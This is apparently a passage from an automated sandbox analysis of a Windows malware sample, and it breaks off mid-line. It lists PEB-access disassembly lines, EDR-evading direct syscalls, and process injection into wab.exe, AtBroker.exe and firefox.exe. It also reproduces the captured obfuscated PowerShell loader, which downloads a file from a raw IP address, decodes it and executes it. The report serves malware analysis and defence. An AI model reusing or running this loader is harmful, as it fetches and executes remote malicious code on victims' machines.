Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C437C mov eax, dword ptr fs:[00000030h] 11_2_045C437C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451C310 mov ecx, dword ptr fs:[00000030h] 11_2_0451C310
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04540310 mov ecx, dword ptr fs:[00000030h] 11_2_04540310
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A30B mov eax, dword ptr fs:[00000030h] 11_2_0455A30B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A30B mov eax, dword ptr fs:[00000030h] 11_2_0455A30B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A30B mov eax, dword ptr fs:[00000030h] 11_2_0455A30B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C43D4 mov eax, dword ptr fs:[00000030h] 11_2_045C43D4
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C43D4 mov eax, dword ptr fs:[00000030h] 11_2_045C43D4
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DC3CD mov eax, dword ptr fs:[00000030h] 11_2_045DC3CD
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A3C0 mov eax, dword ptr fs:[00000030h] 11_2_0452A3C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045283C0 mov eax, dword ptr fs:[00000030h] 11_2_045283C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045283C0 mov eax, dword ptr fs:[00000030h] 11_2_045283C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045283C0 mov eax, dword ptr fs:[00000030h] 11_2_045283C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045283C0 mov eax, dword ptr fs:[00000030h] 11_2_045283C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A63C0 mov eax, dword ptr fs:[00000030h] 11_2_045A63C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E3F0 mov eax, dword ptr fs:[00000030h] 11_2_0453E3F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E3F0 mov eax, dword ptr fs:[00000030h] 11_2_0453E3F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E3F0 mov eax, dword ptr fs:[00000030h] 11_2_0453E3F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045563FF mov eax, dword ptr fs:[00000030h] 11_2_045563FF
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045303E9 mov eax, dword ptr fs:[00000030h] 11_2_045303E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04518397 mov eax, dword ptr fs:[00000030h] 11_2_04518397
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04518397 mov eax, dword ptr fs:[00000030h] 11_2_04518397
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04518397 mov eax, dword ptr fs:[00000030h] 11_2_04518397
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E388 mov eax, dword ptr fs:[00000030h] 11_2_0451E388
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E388 mov eax, dword ptr fs:[00000030h] 11_2_0451E388
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E388 mov eax, dword ptr fs:[00000030h] 11_2_0451E388
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454438F mov eax, dword ptr fs:[00000030h] 11_2_0454438F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454438F mov eax, dword ptr fs:[00000030h] 11_2_0454438F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452AC50 mov eax, dword ptr fs:[00000030h] 11_2_0452AC50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526C50 mov eax, dword ptr fs:[00000030h] 11_2_04526C50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526C50 mov eax, dword ptr fs:[00000030h] 11_2_04526C50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526C50 mov eax, dword ptr fs:[00000030h] 11_2_04526C50
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04554C59 mov eax, dword ptr fs:[00000030h] 11_2_04554C59
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530C00 mov eax, dword ptr fs:[00000030h] 11_2_04530C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530C00 mov eax, dword ptr fs:[00000030h] 11_2_04530C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530C00 mov eax, dword ptr fs:[00000030h] 11_2_04530C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530C00 mov eax, dword ptr fs:[00000030h] 11_2_04530C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455CC00 mov eax, dword ptr fs:[00000030h] 11_2_0455CC00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A4C0F mov eax, dword ptr fs:[00000030h] 11_2_045A4C0F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov eax, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4C34 mov ecx, dword ptr fs:[00000030h] 11_2_045C4C34
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451EC20 mov eax, dword ptr fs:[00000030h] 11_2_0451EC20
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045BCC20 mov eax, dword ptr fs:[00000030h] 11_2_045BCC20
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045BCC20 mov eax, dword ptr fs:[00000030h] 11_2_045BCC20
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451CCC8 mov eax, dword ptr fs:[00000030h] 11_2_0451CCC8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04552CF0 mov eax, dword ptr fs:[00000030h] 11_2_04552CF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04552CF0 mov eax, dword ptr fs:[00000030h] 11_2_04552CF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04552CF0 mov eax, dword ptr fs:[00000030h] 11_2_04552CF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04552CF0 mov eax, dword ptr fs:[00000030h] 11_2_04552CF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04518C8D mov eax, dword ptr fs:[00000030h] 11_2_04518C8D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04548CB1 mov eax, dword ptr fs:[00000030h] 11_2_04548CB1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04548CB1 mov eax, dword ptr fs:[00000030h] 11_2_04548CB1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 mov eax, dword ptr fs:[00000030h] 11_2_045D0CB5

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtWriteVirtualMemory: Direct from: 0x76F0490C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtAllocateVirtualMemory: Direct from: 0x76F03C9C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtReadVirtualMemory: Direct from: 0x76F02E8C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtCreateKey: Direct from: 0x76F02C6C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtSetInformationThread: Direct from: 0x76F02B4C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQueryAttributesFile: Direct from: 0x76F02E6C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtAllocateVirtualMemory: Direct from: 0x76F048EC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQuerySystemInformation: Direct from: 0x76F048CC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQueryVolumeInformationFile: Direct from: 0x76F02F2C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtOpenSection: Direct from: 0x76F02E0C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtSetInformationThread: Direct from: 0x76EF63F9 Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtDeviceIoControlFile: Direct from: 0x76F02AEC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtAllocateVirtualMemory: Direct from: 0x76F02BEC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtCreateFile: Direct from: 0x76F02FEC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtOpenFile: Direct from: 0x76F02DCC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQueryInformationToken: Direct from: 0x76F02CAC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtTerminateThread: Direct from: 0x76F02FCC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtOpenKeyEx: Direct from: 0x76F02B9C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtProtectVirtualMemory: Direct from: 0x76F02F9C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtSetInformationProcess: Direct from: 0x76F02C5C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtNotifyChangeKey: Direct from: 0x76F03C2C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtUnmapViewOfSection: Direct from: 0x76F02D3C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtCreateMutant: Direct from: 0x76F035CC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtWriteVirtualMemory: Direct from: 0x76F02E3C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtMapViewOfSection: Direct from: 0x76F02D1C Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtResumeThread: Direct from: 0x76F036AC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtAllocateVirtualMemory: Direct from: 0x76F02BFC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtReadFile: Direct from: 0x76F02ADC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQuerySystemInformation: Direct from: 0x76F02DFC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtDelayExecution: Direct from: 0x76F02DDC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtQueryInformationProcess: Direct from: 0x76F02C26 Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtResumeThread: Direct from: 0x76F02FBC Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe NtCreateUserProcess: Direct from: 0x76F0371C Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: NULL target: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: NULL target: C:\Program Files (x86)\Windows Mail\wab.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\AtBroker.exe Thread register set: target process: 7908 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\AtBroker.exe Thread APC queued: target process: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3200000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2F0FB14 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt 